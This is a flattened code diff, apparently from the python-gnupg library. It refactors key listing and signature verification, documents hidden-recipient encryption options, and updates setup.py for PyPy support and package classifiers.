_import_ownertrust = import_ownertrust @functools.wraps(_trust.export_ownertrust) - def _export_ownertrust(self, trustdb=None): + def export_ownertrust(self, trustdb=None): if self.is_gpg2(): _trust.export_ownertrust(self) else: log.info("Exporting ownertrust is only available with GnuPG>=2.x") + # For backward compatibility with python-gnupg<=1.3.1: + _export_ownertrust = export_ownertrust def is_gpg1(self): """Returns true if using GnuPG <= 1.x.""" @@ -284,15 +287,13 @@ class GPG(GPGBase): signatures. If using detached signatures, the file containing the detached signature should be specified as the ``sig_file``. - :param file file: A file descriptor object. Its type will be checked - with :func:`_util._is_file`. + :param file file: A file descriptor object. :param str sig_file: A file containing the GPG signature data for ``file``. If given, ``file`` is verified via this detached - signature. + signature. Its type will be checked with :func:`_util._is_file`. """ - fn = None result = self._result_map['verify'](self) if sig_file is None: @@ -307,19 +308,15 @@ class GPG(GPGBase): return result log.debug('verify_file(): Handling detached verification') sig_fh = None - data_fh = None try: sig_fh = open(sig_file, 'rb') - data_fh = open(file, 'rb') args = ["--verify %s -" % sig_fh.name] proc = self._open_subprocess(args) - writer = _util._threaded_copy_data(data_fh, proc.stdin) + writer = _util._threaded_copy_data(file, proc.stdin) self._collect_output(proc, result, writer, stdin=proc.stdin) finally: if sig_fh and not sig_fh.closed: sig_fh.close() - if data_fh and not data_fh.closed: - data_fh.close() return result def import_keys(self, key_data): @@ -488,19 +485,7 @@ class GPG(GPGBase): self._collect_output(p, result, stdin=p.stdin) lines = result.data.decode(self._encoding, self._decode_errors).splitlines() - valid_keywords = 'pub uid sec fpr sub'.split() - for line in lines: - if self.verbose: - print(line) - log.debug("%r", line.rstrip()) - if not line: - break - L = line.strip().split(':') - if not L: - continue - keyword = L[0] - if keyword in valid_keywords: - getattr(result, keyword)(L) + self._parse_keys(result) return result def list_packets(self, raw_data): @@ -521,8 +506,8 @@ class GPG(GPGBase): >>> assert key.fingerprint :rtype: dict - :returns: A dictionary whose keys are the original keyid parameters, - and whose values are lists of signatures. + :returns: res.sigs is a dictionary whose keys are the uids and whose + values are a set of signature keyids. """ if len(keyids) > self._batch_limit: raise ValueError( @@ -537,8 +522,26 @@ class GPG(GPGBase): proc = self._open_subprocess(args) result = self._result_map['list'](self) self._collect_output(proc, result, stdin=proc.stdin) + self._parse_keys(result) return result + def _parse_keys(self, result): + lines = result.data.decode(self._encoding, + self._decode_errors).splitlines() + valid_keywords = 'pub uid sec fpr sub sig'.split() + for line in lines: + if self.verbose: + print(line) + log.debug("%r", line.rstrip()) + if not line: + break + L = line.strip().split(':') + if not L: + continue + keyword = L[0] + if keyword in valid_keywords: + getattr(result, keyword)(L) + def gen_key(self, input): """Generate a GnuPG key through batch file key generation. See :meth:`GPG.gen_key_input()` for creating the control input. @@ -798,7 +801,7 @@ class GPG(GPGBase): key = key.replace('_','-').title() ## to set 'cert', 'Key-Usage' must be blank string if not key in ('Key-Usage', 'Subkey-Usage'): - if str(val).strip(): + if type('')(val).strip(): parms[key] = val ## if Key-Type is 'default', make Subkey-Type also be 'default' @@ -941,6 +944,13 @@ generate keys. Please see 'The crow flies at midnight.' + :param bool throw_keyids: If True, make all **recipients** keyids be + zero'd out in packet information. This is the same as using + **hidden_recipients** for all **recipients**. (Default: False). + + :param list hidden_recipients: A list of recipients that should have + their keyids zero'd out in packet information. + :param str cipher_algo: The cipher algorithm to use. To see available algorithms with your version of GnuPG, do: :command:`$ gpg --with-colons --list-config ciphername`. @@ -956,7 +966,10 @@ generate keys. Please see .. seealso:: :meth:`._encrypt` """ - stream = _make_binary_stream(data, self._encoding) + if _is_stream(data): + stream = data + else: + stream = _make_binary_stream(data, self._encoding) result = self._encrypt(stream, recipients, **kwargs) stream.close() return result @@ -22,11 +22,19 @@ from __future__ import absolute_import from __future__ import print_function +import platform import setuptools import sys import os import versioneer +try: + import __pypy__ +except ImportError: + _isPyPy = False +else: + _isPyPy = True + versioneer.versionfile_source = 'gnupg/_version.py' versioneer.versionfile_build = 'gnupg/_version.py' @@ -75,6 +83,13 @@ def get_requirements(): # Required to make `collections.OrderedDict` available on Python<=2.6 requirements.append('ordereddict==1.1#a0ed854ee442051b249bfad0f638bbec') + # Don't try to install psutil on PyPy: + if _isPyPy: + for line in requirements[:]: + if line.startswith('psutil'): + print("Not installing %s on PyPy..." % line) + requirements.remove(line) + return requirements, links @@ -89,8 +104,8 @@ This module allows easy access to GnuPG's key management, encryption and \ signature functionality from Python programs, by interacting with GnuPG \ through file descriptors. Input arguments are strictly checked and sanitised, \ and therefore this module should be safe to use in networked applications \ -requiring direct user input. It is intended for use with Python 2.6 or \ -greater. +requiring direct user input. It is intended for use on Windows, MacOS X, BSD, \ +or Linux, with Python 2.6, Python 2.7, Python 3.3, Python 3.4, or PyPy. """, license="GPLv3+", @@ -119,7 +134,13 @@ greater. classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", + "Intended Audience :: System Administrators", "License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)", + "Operating System :: Android", + "Operating System :: MacOS :: MacOS X", + "Operating System :: Microsoft :: Windows", + "Operating System :: POSIX :: BSD", + "Operating System :: POSIX :: Linux", "Programming Language :: Python", "Programming Language :: Python :: 2", "Programming Language :: Python :: 3", @@ -127,6 +148,8 @@ greater. "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", + "Programming Language :: Python :: Implementation :: CPython", + "Programming Language :: Python :: Implementation :: PyPy", "Topic :: Security :: Cryptography", "Topic :: Software Development :: Libraries :: Python Modules", "Topic :: Utilities",] |
